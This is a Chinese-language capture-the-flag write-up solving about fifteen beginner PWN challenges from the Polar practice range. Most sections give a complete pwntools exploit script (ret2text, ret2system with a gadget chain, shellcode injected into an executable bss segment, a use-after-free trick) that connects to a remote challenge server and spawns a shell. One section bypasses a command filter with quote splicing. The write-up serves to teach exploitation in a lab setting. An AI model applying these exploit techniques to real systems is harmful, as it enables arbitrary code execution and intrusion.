Polar靶场PWN(简单) wp

451

sandbox

解题过程

查看保护

64位程序,开了Canary和NX保护

查看代码

查看box函数

可以发现其实给出了执行命令的权限,不过过滤了一些命令关键字,绕过即可。

这里使用cat'' f*来读取flag。

creeper

解题过程

先运行看看

看看保护

64位只有一个NX保护

查看代码

查看game函数

这里只需要输入的值长度为15就行了,直接nc传入14个值(因为回车是换行符)

简单溢出

解题过程

执行看看

查看保护

64位开启NX保护

查看代码

这里可以看到scanf("%s",v4)函数,存在栈溢出漏洞

并且可以看到存在后门函数fact(),那么就打一个简单的ret2text就好了

exp

from pwn import *

context(arch="amd64", os="linux", log_level="debug")

file_path = './hahaha'
io = remote("1.95.36.136",2076)
#io = process([file_path])
elf = ELF(file_path)
ret = 0x400441 # 0x0000000000400441 : ret
back_door = elf.sym["fact"]

pading = 0x30+8
paylaod = flat([cyclic(pading),ret,back_door])

io.sendline(paylaod)
io.interactive()

system

解题过程

直接执行看看,发现直接给出了sh权限。那就直接读取就好了。

Emm

解题过程

执行看看

没发现什么,查看保护

32位程序开了NX保护

查看代码

查看yes函数

可以发现puts展示出了/bin/sh,read函数存在栈溢出漏洞

那么这里可以直接调用system("cat flag"),也可以利用/bin/sh去构造system("/bin/sh")

exp

from pwn import *

context(arch="i386", os="linux", log_level="debug")

file_path = './emm'
io = remote("1.95.36.136",2105)
# io = process([file_path])
elf = ELF(file_path)
back_door = elf.sym["flag"]

pading = 0x58+4
paylaod = flat([cyclic(pading),back_door])
io.sendline(paylaod)
io.interactive()

Choice

解题过程

先运行看看

查看保护

64位开启NX保护

看看源码

这里是输入3个选项进入三个代码一个一个看

Data1和Data2一样,不存在溢出

Data3存在溢出

并且存在后门函数

那么就是打ret2text,编写exp

exp

from pwn import *

context(arch="amd64", os="linux", log_level="debug")

file_path = './Choice'
io = remote("1.95.36.136",2079)
# io = process([file_path])
elf = ELF(file_path)
ret = 0x400629 # 0x0000000000400629 : ret
back_door = elf.sym["Shell"]

pading = 0x30+8
paylaod = flat([cyclic(pading),ret,back_door])
io.sendline(b"3")
io.sendline(paylaod)
io.interactive()

overload1

解题过程

运行看看

查看保护

64位开启NX保护

查看代码

输入y的话进入函数内部存在gets函数可以进行栈溢出,并且给出了system("/bin/sh")

查看汇编可以得到system("/bin/sh")的地址为0x04008F8,编写exp

exp

from pwn import *

context(arch="amd64", os="linux", log_level="debug")

file_path = './overload1'
io = remote("1.95.36.136",2107)
# io = process([file_path])
elf = ELF(file_path)
ret = 0x400661 # 0x0000000000400661 : ret
back_door = 0x4008F8

pading = 0x110+8
paylaod = flat([cyclic(pading),ret,back_door])
io.sendlineafter(b"y/n\n",b"y")
io.sendlineafter(b"\n",paylaod)
io.interactive()

x64

解题过程

直接执行看看

查看保护

64位无保护

查看代码

查看function函数

可以发现存在一个明显的溢出漏洞

可以发现存在system和/bin/sh,直接打ret2text。

exp

from pwn import *

context(arch="amd64", os="linux", log_level="debug")

file_path = './x64'
io = remote("1.95.36.136",2071)
# io = process([file_path])
elf = ELF(file_path)
ret = 0x400549 # 0x0000000000400549 : ret
rdi = 0x4007e3 # 0x00000000004007e3 : pop rdi ; ret
system = elf.sym["system"]
bin_sh = next(elf.search(b"/bin/sh"))
#log.success("system => "+hex(system))
#log.success("bin_sh => "+hex(bin_sh))
pading = 0x80+8
paylaod = flat([cyclic(pading),rdi,bin_sh,ret,system])

io.sendline(paylaod)
io.interactive()

你是大佬还是菜鸡

解题过程

问我是大佬还是菜鸡,我包是菜鸡的。

查看保护

64位开启NX保护

查看源码

这里v4是我们输入的值,只能输入2才可以进入caiji函数。输入看看dalao函数

🤡🤡🤡🤡🤡🤡🤡

看看caiji函数

这里存在溢出漏洞

给出了后门函数hint,打ret2text。

exp

from pwn import *

context(arch="amd64", os="linux", log_level="debug")

file_path = './pwn'
io = remote("1.95.36.136",2093)
# io = process([file_path])
elf = ELF(file_path)
ret = 0x4005d9 # 0x00000000004005d9 : ret
back_door = elf.sym["hint"]

pading = 0x20+8
paylaod = flat([cyclic(pading),ret,back_door])
io.sendline(b"2")
io.sendline(paylaod)
io.interactive()

Easy_ShellCode

解题过程

执行看看

查看保护

32位无保护

查看源码

查看start函数

可以知道读入buf和str的值大小都为256,所以存在溢出漏洞,查看一下str参数

可以发现str参数在bss段上

并且可以发现0x8048000-0x8049000的这段地址是存在执行权限的,那么就可以在str中写入shellcode进行执行。

exp

from pwn import *

context(arch="i386", os="linux", log_level="debug")

file_path = './Easy_ShellCode'
io = remote("1.95.36.136",2075)
# io = process([file_path])
elf = ELF(file_path)
str = 0x0804A080
padding = 0x68+4

shellcode = asm(shellcraft.sh())
payload = flat([cyclic(padding),str])
io.sendlineafter(b"Input:\n",shellcode)
io.sendlineafter(b"name ?:\n",payload)
io.interactive()

小狗汪汪汪

解题过程

执行看看

查看保护

32位开启NX保护

查看源码

dog函数中存在溢出漏洞

并且直接给出了后门函数getshell(),那么直接打ret2text

exp

  GNU nano 7.2                       exp3.py
from pwn import *

context(arch="i386", os="linux", log_level="debug")

file_path = './woof'
io = remote("1.95.36.136",2076)
# io = process([file_path])
elf = ELF(file_path)
back_door = elf.sym["getshell"]

pading = 0x9+4
paylaod = flat([cyclic(pading),back_door])

io.sendline(paylaod)
io.interactive()

play

解题过程

运行看看

查看保护

64位程序无保护

查看代码

存在一个溢出漏洞,buf在bss段上有执行权限。

和前面一样写入shellcode,编写exp

exp

from pwn import *

context(arch='amd64',os= 'linux',log_level='debug')

file_path = "./play"

# io = process(file_path)
io = remote('1.95.36.136',2133) # 远程地址
elf = ELF(file_path)
padding = 0x30+8
ret = 0x400579 # 0x0000000000400579 : ret
buf = 0x6010A0

shellcode = asm(shellcraft.sh())
payload = flat([cyclic(padding),ret,buf])
io.sendlineafter(b"playing.\n",shellcode)
io.sendlineafter(b"game?",payload)
io.interactive()

name4

解题过程

先执行看看

查看保护

32位无保护

查看代码,关键代码如下

name[0]不能为True,否则会进入判断直接退出,这里使用"\x00"来绕过。gets函数存在溢出漏洞。

name和s在bss段上并且bss段可执行,两个都可以作为shellcode的存储参数,但是name判断不能为0,我们只能传入\x00给name来绕过判断,所以这里将shellcode写入s参数。然后通过栈溢出漏洞返回到s参数的地址执行shellcode即可。

exp

from pwn import *
context(arch="i386",os="linux",log_level="debug")

file_path = "./name4"

io = remote("1.95.36.136",2074)
#io = process(file_path)
elf = ELF(file_path)
padding = 0x20+4
s = 0x0804A0E0

shellcode = asm(shellcraft.sh())
payload = flat([cyclic(padding),s])

io.sendlineafter(b"name:\n",b"\x00")
io.sendlineafter(b"name:\n",shellcode)
io.sendlineafter(b"overflow:\n",payload)
io.interactive()

heap_Easy_Uaf

解题过程

执行看看

给出了一个菜单,查看保护

64位程序开启Canary和NX保护

查看代码

主函数是一个菜单,主要是看Are函数

这里主要是存在一个堆溢出漏洞UAF,将ptr赋值为Flag后进行free,而没有置为null。那么我们只需要重新申请一个对应的堆块并且给ptr赋值为Flag就可以通过if判断获取system("/bin/sh")了

原先的堆块申请的大小为0x68也就是104。

exp

from pwn import *
context(arch="amd64",os="linux",log_level="debug")
file_path = "./heap_Easy_Uaf"

io = remote("1.95.36.136",2116)
# io = process(file_path)

io.sendlineafter(b"Choice!\n",b"5")
io.sendlineafter(b"size :\n",b"104")
io.sendlineafter(b"Content : \n",b"Flag")
io.interactive()

shellcode1

解题过程

执行看看

查看保护

32位无保护

查看代码

和上面的题一样,写入shellcode到x中,x在bss段可执行,通过栈溢出跳转到s的地址来执行shellcode

exp

  GNU nano 7.2                       exp6.py
from pwn import *
from LibcSearcher import *
context(arch="i386",os="linux",log_level="debug")

file_path = "./shellcode1"

io = remote("1.95.36.136",2096)
#io = process(file_path)
elf = ELF(file_path)
padding = 0x6C+4
s = 0x0804A080

shellcode = asm(shellcraft.sh())
payload = flat([cyclic(padding),s])

io.sendlineafter(b"name?\n",shellcode)
io.sendlineafter(b"me:\n",payload)
io.interactive()